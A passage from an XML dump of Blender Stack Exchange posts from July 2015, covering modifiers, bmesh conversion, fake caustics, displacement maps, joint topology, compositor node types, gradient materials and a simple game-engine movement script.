gif&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-07-30T18:55:37.623" LastActivityDate="2015-07-30T18:55:37.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34824" PostTypeId="2" ParentId="34818" CreationDate="2015-07-30T19:04:07.517" Score="1" Body="&lt;p&gt;&lt;strong&gt;&lt;em&gt;USING THE MIRROR MODIFIER&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Detail placed on the faces horizontally only.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/CEOIy.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CEOIy.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Detail placed on every face&#xA;&lt;a href=&quot;https://i.stack.imgur.com/fJeMc.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fJeMc.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;USING THE ARRAY MODIFIER&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While in &lt;em&gt;Object Mode&lt;/em&gt; snap the cursor to the center of a cube (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt;--&gt;&lt;em&gt;Cursor to Selected&lt;/em&gt;), then delete the flat faces.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/L5k0v.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/L5k0v.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add an &lt;em&gt;Empty&lt;/em&gt; (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;--&gt;&lt;em&gt;Empty&lt;/em&gt;--&gt;&lt;em&gt;Plain Axes&lt;/em&gt;) to the same position where the cursor is.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/CF3zL.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CF3zL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the object and give it an &lt;strong&gt;&lt;em&gt;Array Modifier&lt;/em&gt;&lt;/strong&gt;. Set the Fit Type to &lt;strong&gt;&lt;em&gt;Fixed Count&lt;/em&gt;&lt;/strong&gt; and increase the &lt;em&gt;Count&lt;/em&gt; value to &lt;strong&gt;&lt;em&gt;4&lt;/em&gt;&lt;/strong&gt;. Check the &lt;strong&gt;&lt;em&gt;Constant Offset&lt;/em&gt;&lt;/strong&gt; box, then &lt;strong&gt;&lt;em&gt;Object Offset&lt;/em&gt;&lt;/strong&gt; box and input an &lt;em&gt;Empty&lt;/em&gt; in a window below.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/2N0E4.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2N0E4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select an &lt;em&gt;Empty&lt;/em&gt; again, press &lt;kbd&gt;R&lt;/kbd&gt;, then &lt;kbd&gt;Z&lt;/kbd&gt; and input &lt;strong&gt;90&lt;/strong&gt; from the numerical keyboard.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/FUJOM.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FUJOM.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select an object in &lt;em&gt;Object Mode&lt;/em&gt; and apply the &lt;em&gt;Array Modifier&lt;/em&gt;.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/FJQbX.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FJQbX.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now go to &lt;em&gt;Edit Mode&lt;/em&gt;, select all the vertices (&lt;kbd&gt;A&lt;/kbd&gt;) and press &lt;kbd&gt;W&lt;/kbd&gt;--&gt;Remove Doubles.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/APKou.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/APKou.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the upper edge loop of the cube and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;F&lt;/kbd&gt;--&gt;Make Edge/Face (or just press &lt;kbd&gt;F&lt;/kbd&gt;). Fill the bottom edge with a face in the same way.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/0IZxd.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0IZxd.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-07-30T22:54:35.820" LastActivityDate="2015-07-30T22:54:35.820" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34825" PostTypeId="2" ParentId="34793" CreationDate="2015-07-30T19:39:18.720" Score="1" Body="&lt;p&gt;The proper function to be used is the  &lt;code&gt;bm.from_mesh(me)&lt;/code&gt; function where &lt;strong&gt;bm&lt;/strong&gt; is the bmesh object being transferred to and &lt;strong&gt;me&lt;/strong&gt; is the mesh. Also for the reverse operation we can use &lt;code&gt;bm.to_mesh(me)&lt;/code&gt; which will load the bmesh data back into the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For code example see the template &lt;code&gt;bmesh_simple.py&lt;/code&gt; which is included in blender text editor.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;some of the bmesh operation didn't work yet like &lt;code&gt;bmesh.ops.bmesh_to_mesh&lt;/code&gt; , &lt;code&gt;mesh.ops.mesh_to_bmesh&lt;/code&gt; and &lt;code&gt;bmesh.ops.object_load_bmesh&lt;/code&gt;, the only note is that the &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_75_0/bmesh.ops.html?highlight=mesh_to#bmesh.ops.mesh_to_bmesh&quot; rel=&quot;nofollow&quot;&gt;DOC&lt;/a&gt; says :     &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;this bmop is private&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="16015" LastEditorUserId="16015" LastEditDate="2015-07-31T00:04:22.227" LastActivityDate="2015-07-31T00:04:22.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34826" PostTypeId="1" CreationDate="2015-07-30T19:48:37.807" Score="2" ViewCount="852" Body="&lt;p&gt;I making an animation that features a swimming pool. The animation is going to be ~2 minutes, and I would like the swimming pool to splash when the characters jump in it, and ripple when they move. I want the water to be transparent but also reflective, and I also want there to be a pattern at the bottom of the pool from the caustics. I also want the animation to render fast (1-2 minutes rendering time per frame, the rest of the scene is mostly diffuse materials and low poly geometry, HD if possible or at least 720p) on the CPU in cycles. How do I do this? Is there anyway to composite or bake textures of the scene so that the scene will render at a decent speed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also want to know whether or not the fluid simulation is the best way to do this. Is there a way to use particles, an ocean modifier or dynamic paint to get a faster bake?&lt;/p&gt;&#xA;" OwnerUserId="16035" LastEditorUserId="16035" LastEditDate="2015-07-30T22:20:53.133" LastActivityDate="2015-07-30T22:20:53.133" Title="How do I render a decent swimming pool animation in a reasonable amount of time?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;workflow&gt;&lt;fluid-simulation&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34829" PostTypeId="2" ParentId="34826" CreationDate="2015-07-30T21:26:33.960" Score="2" Body="&lt;p&gt;The most expensive part of this rendering is going to be the caustics. If you want real caustics, they will probably be grainy. In cycles you can spend as time as you want on each frame, but less time will make a more grainy render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to fake caustics, there are a number of options. They give different results and different rendering speeds.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add an emitting shader to the pool floor. Make it emit light in a caustic-like pattern. You can probably animate like this: &lt;a href=&quot;https://blender.stackexchange.com/questions/8138/how-to-animate-noise-texture-seed&quot;&gt;How to animate noise texture &amp;quot;seed&amp;quot;?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Use vector math to fake caustics. Explained here &lt;a href=&quot;http://urchn.org/post/fake-caustics-in-cycles&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://urchn.org/post/fake-caustics-in-cycles&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;You can bake a texture in cycles from the first frame caustics. Use that for the rest of the frames. This will give a physically correct first frame but will not animate.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I think that the vector-math approach will give you best results.&lt;/p&gt;&#xA;" OwnerUserId="395" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2015-07-30T21:26:33.960" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34830" PostTypeId="1" CreationDate="2015-07-30T21:31:58.217" Score="0" ViewCount="878" Body="&lt;p&gt;I'm not so familiar with Blender and have a problem with displacement map.&#xA;I use software called &quot;CrazyBump&quot; and it generates specularity, displacement, occlusion, color and normal maps itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My intention is to make plaster material which is the material of the wall look more realistic. That' s why I want to use displacement map to change the look of the wall. However, it somehow won't work like this. The material of the wall is not changing its' shape, it's the wall itself..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The displacement map is right under this text:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nIKBv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nIKBv.png&quot; alt=&quot;Displacement map&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really tend to think that something is really wrong with my displacement map and doesn' t work right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here's the house with displacement map.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/1tZPQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1tZPQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am clueless what to do next as I have tried fixing this problem on my own for whole day already and nothing seems to be working. Maybe some of you have encountered this problem earlier and could suggest any solutions..&lt;/p&gt;&#xA;" OwnerUserId="16036" LastEditorUserId="16036" LastEditDate="2015-07-30T22:19:29.137" LastActivityDate="2015-07-31T01:01:45.563" Title="Problem with displacement maps" Tags="&lt;uv&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34831" PostTypeId="1" AcceptedAnswerId="34858" CreationDate="2015-07-30T21:47:19.663" Score="3" ViewCount="2558" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/438Uz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/438Uz.png&quot; alt=&quot;my model&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am making a model for a friend. The arms are giving me trouble. Specifically the arm sockets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What's giving me trouble is that the arms are very close to the head, unlike the human body, leaving very little space for shoulders or a neck.&lt;/strong&gt; Because of this, I have no clue how to structure the topology correctly, even after browsing through the Blender StackExchange for an answer that applies to this situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/r2uQ7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/r2uQ7.png&quot; alt=&quot;the current topology&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this current topology, the arm socket pinches really bad with an armature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yn9Su.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yn9Su.png&quot; alt=&quot;the horrible pinching&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should I structure the topology of this arm socket so this arm can move around in all directions (like arms usually do) without this bad pinching? (I want to avoid resorting to creating an arm that's just punched through the torso, so please avoid this unless it's the only solution.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the .blend file: &lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/388/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=388&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance.&lt;/p&gt;&#xA;" OwnerUserId="2613" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2016-08-27T15:35:50.013" Title="How to avoid pinching when constructing joint topology?" Tags="&lt;modeling&gt;&lt;armature&gt;&lt;topology&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34832" PostTypeId="1" AcceptedAnswerId="54082" CreationDate="2015-07-30T21:53:49.820" Score="3" ViewCount="730" Body="&lt;p&gt;I'm trying to use python to create nodes in the compositor.  Right now I want to create an ID Mask node, but there will eventually be others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I create an ID Mask node via the UI and ask the python console what is C.scene.node_tree.nodes.active.type it tells me 'ID_MASK', but if I C.scene.node_tree.nodes.new('ID_MASK') I get an error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA;  File &quot;&amp;lt;blender_console&amp;gt;&quot;, line 1, in &amp;lt;module&amp;gt;&#xA;RuntimeError: Error: Node type ID_MASK undefined&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I learn the proper values for the type parameter for node_tree.nodes.new(type) ?&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2016-06-03T17:01:39.590" Title="What are the valid types for the type parameter in bpy.context.scene.node_tree.nodes.new(type)?" Tags="&lt;python&gt;&lt;compositor&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34833" PostTypeId="2" ParentId="34830" CreationDate="2015-07-30T22:40:29.223" Score="1" Body="&lt;p&gt;The source for the displacement map in this case has to be an image or procedural texture, not the model itself. One way to do what you want would be to get or create tileable plaster texture first (look for &quot;tile plaster texture bump&quot; on a search engine), then create a material just for the walls, assign it and unwrapp the walls as you see fit.&lt;/p&gt;&#xA;" OwnerUserId="15015" LastActivityDate="2015-07-30T22:40:29.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34834" PostTypeId="1" CreationDate="2015-07-30T22:57:42.833" Score="12" ViewCount="6314" Body="&lt;p&gt;I am trying to render an object that has opaque base and gradually becomes clear/translucent at the top in Blender cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please see the attached image (which was not made with blender).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5CTE4.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5CTE4.jpg&quot; alt=&quot;example material&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16037" LastEditorUserId="2217" LastEditDate="2015-07-30T23:14:50.070" LastActivityDate="2015-07-31T01:16:39.167" Title="How to create a gradient texture from one material to another (opaque to clear)?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;materials&gt;&lt;transparency&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="34835" PostTypeId="2" ParentId="34832" CreationDate="2015-07-30T23:09:11.967" Score="3" Body="&lt;p&gt;The correct type for this would be: &lt;code&gt;'CompositorNodeIDMask'&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Too create a new ID Mask node the line would be :  &lt;code&gt;C.scene.node_tree.nodes.new('CompositorNodeIDMask')&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is confusing, at least they have a pattern so you have &lt;code&gt;'CompositorNode'&lt;/code&gt;or&lt;code&gt;'ShaderNode'&lt;/code&gt;or&lt;code&gt;'TextureNode'&lt;/code&gt; plus the node type like &lt;code&gt;'ShaderNode'+'ObjectInfo'&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the full list of node types see these links: &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_0/bpy.types.ShaderNode.html#bpy.types.ShaderNode&quot; rel=&quot;nofollow&quot;&gt;shader nodes&lt;/a&gt;, &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_0/bpy.types.CompositorNode.html&quot; rel=&quot;nofollow&quot;&gt;compositor nodes&lt;/a&gt; and &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_0/bpy.types.TextureNode.html&quot; rel=&quot;nofollow&quot;&gt;texture nodes&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="894" LastEditDate="2015-07-31T01:07:17.887" LastActivityDate="2015-07-31T01:07:17.887" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34836" PostTypeId="2" ParentId="34834" CreationDate="2015-07-30T23:21:26.247" Score="5" Body="&lt;p&gt;the transition seems to be based on the height of the shading point and for that we use the Z component from the Position output in the Geometry node and using division ( math ) node we can normalize the height , then we use this as an input for the mix shader to create the transition between a glass material and a diffuse material:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dWX47.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dWX47.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;result :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MDGI1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MDGI1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-07-30T23:21:26.247" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34837" PostTypeId="2" ParentId="34834" CreationDate="2015-07-30T23:25:16.517" Score="6" Body="&lt;p&gt;All you need are a two shaders the opaque (Diffuse node), and then the transparent (Glass node), then a way to mix them together.&lt;br&gt;&#xA;Here I'm using the Z axis of generated coordinates. Generated coordinates always go from zero to one along each axis of the object.&lt;br&gt;&#xA;The color ramp node is to fine tune the mixing between the two shaders.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/oStj5.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oStj5.png&quot; alt=&quot;cycles material nodes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-07-30T23:25:16.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34838" PostTypeId="2" ParentId="34834" CreationDate="2015-07-30T23:45:11.027" Score="15" Body="&lt;p&gt;All you need to do is use a &lt;em&gt;Gradient Texture&lt;/em&gt; (see how to create it procedurally here: &lt;a href=&quot;https://blender.stackexchange.com/questions/22929/how-to-create-a-gradient-texture&quot;&gt;How to create a gradient texture?&lt;/a&gt;) as a mask for the transition between two materials.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/90156.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/90156.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set up the nodes as pictured below. Try to experiment with a &lt;em&gt;Mapping Node&lt;/em&gt; settings (adjust the Location, Rotation and Scale parameters) to achieve a desired effect.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/mKAx1.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mKAx1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To have a better control between materials transition add a &lt;em&gt;Color Ramp&lt;/em&gt; node and experiment with its slider.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/FFBHl.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FFBHl.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/KaiXt.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KaiXt.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2015-07-31T01:16:39.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34839" PostTypeId="1" CreationDate="2015-07-31T00:06:06.270" Score="0" ViewCount="26" Body="&lt;p&gt;I have a script that allows a cube to be moved using WASD. I'd like to avoid having to use actual keyboard input for that and thought about creating a separate file with commands like &quot;Wkey&quot; and such. I'd then have a function read through the file and have the agent respond to the commands in the file accordingly.&#xA;Is this possible/if so, how would I go about doing it? (New to blender/still relatively new to python honestly)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Script below: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;&#xA;&#xA;def main():&#xA;&#xA;    cont = bge.logic.getCurrentController()&#xA;    own = cont.owner&#xA;&#xA;    keyboard = bge.logic.keyboard&#xA;&#xA;    wKey = bge.logic.KX_INPUT_ACTIVE == keyboard.events[bge.events.WKEY]&#xA;    sKey = bge.logic.KX_INPUT_ACTIVE == keyboard.events[bge.events.SKEY]&#xA;    aKey = bge.logic.KX_INPUT_ACTIVE == keyboard.events[bge.events.AKEY]&#xA;    dKey = bge.logic.KX_INPUT_ACTIVE == keyboard.events[bge.events.DKEY]&#xA;&#xA;    if wKey: &#xA;        own.applyMovement([0,0.2,0],True)&#xA;&#xA;    if sKey: &#xA;        own.applyMovement([0,-0.2,0],True)&#xA;&#xA;    if aKey: &#xA;        own.applyMovement([-0.2,0,0],True)&#xA;&#xA;    if dKey: &#xA;        own.applyMovement([0.2,0,0],True)&#xA;&#xA;main()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15734" LastActivityDate="2015-07-31T00:06:06.270" Title="Get agent to move using commands stored in separate file?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;&lt;export&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-07-31T11:40:40.647" ContentLicense="CC BY-SA 3.0" />
  <row Id="34841" PostTypeId="2" ParentId="32963" CreationDate="2015-07-31T00:26:45.460" Score="2" Body="&lt;p&gt;The following example accomplishes two things that I believe you want to accomplish based on your question.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Eliminate the seam caused by the one sided surface.&lt;/li&gt;&#xA;&lt;li&gt;Highlight the twisting contours of the mesh so that the viewer can more easily understand it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here is the result:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/zebMz.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zebMz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I did.  Once I created a mesh that closely resembles your picture, I used the Solidify modifier. The resulting mesh had a squashed seam where the geometry flipped through itself. I then had to apply the modifier so I could delete those faces and reconnect them to fix the seam. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point I unwrapped it using the 'Reset' option, so each face filled the texture space. This worked well for the most part, but I had to do a bunch of cleanup. Many of the face normals needed to be flipped and/or rotated 90 degrees. This wouldn't have been as much of a problem if I had used a larger offset in the Solidify modifier. The opposing faces were so close to each other that it was difficult to make selections. In hindsight, I should have unwrapped the mesh before connecting the loop to avoid this problem altogether.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The material is pretty basic. I think the key to getting a uniform texture without distortion is to use the Reset method of unwrapping. However this is only true for tileable textures. I used the Brick Texture here. Checker also works or you could create your own. It may be possible to make an organic texture work using Generated Texture Coordinates, which I tried, but I didn't know how to correct the distortion on the twisted section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I liked how the Brick texture worked because when you use it as the 'Factor' for a Mix between Emission and Transparency, you can play with the settings so that the texture for each face becomes asymmetric, allowing the grid on the opposing face to become visible. If you really want to impress the ladies, try using a MixRGB node between two Brick Textures. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I settled on this material, because it is pretty simple and just by playing with the sliders in the Brick settings or plugging different inputs from the Geometry node into the Emission strength and color can produce a lot of variety depending on the look you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/389/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=389&quot; /&gt;&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="15159" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-07-31T00:26:45.460" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34843" PostTypeId="1" AcceptedAnswerId="34846" CreationDate="2015-07-31T00:58:18.620" Score="2" ViewCount="1670" Body="&lt;p&gt;How would i replicate this look? I want to make some of the pokemon characters and have tried putting a transparent shader, a glass shader, and translucent.  I have tried in both blender internal and cycles. I want it to look quite cartoony, but have no idea how to achieve this look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ICVlV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ICVlV.png&quot; alt=&quot;reference for material&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15989" LastEditorUserId="2217" LastEditDate="2015-07-31T03:15:20.607" LastActivityDate="2015-11-06T19:47:34.160" Title="Gooey / Transparent Material" Tags="&lt;materials&gt;&lt;transparency&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34844" PostTypeId="2" ParentId="34830" CreationDate="2015-07-31T01:01:45.563" Score="0" Body="&lt;p&gt;You need a mesh topology that is much more highly subdivided before you'll see anything noticeable from the Displacement modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would move the SubSurf modifier above the displacement modifier and turn up the subdivisions until you start to see the effect. Also the displacement texture is pretty subtle, so you many need to turn up the values pretty high to see it take place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition you may get the effect you want with just a normal map instead of true mesh displacement if you you're just going for a subtle uneven surface for plaster. If so, it would require much less resources for rendering if you could.&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-07-31T01:01:45.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34846" PostTypeId="2" ParentId="34843" CreationDate="2015-07-31T02:40:39.187" Score="1" Body="&lt;p&gt;I suggest using Irie's OSL toon shader in Cycles (&lt;a href=&quot;https://blender.stackexchange.com/questions/33871/is-there-really-a-way-to-make-a-true-toon-shader-material-in-cycles/&quot;&gt;read this&lt;/a&gt;), in combination with a Layer Weight or Fresnel node on the bubble's toon shader to phase between the light and dark green. You could even use that Fresnel technique to control the transparency of the bubbles, which may look even better. If you want it to look more or less exactly like the reference art, you may want to composite the internal character (X-ray style) to always show in front of the bubble's material - but the bubble's outline should always be in front of the character.&lt;/p&gt;&#xA;" OwnerUserId="2952" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2015-07-31T02:40:39.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
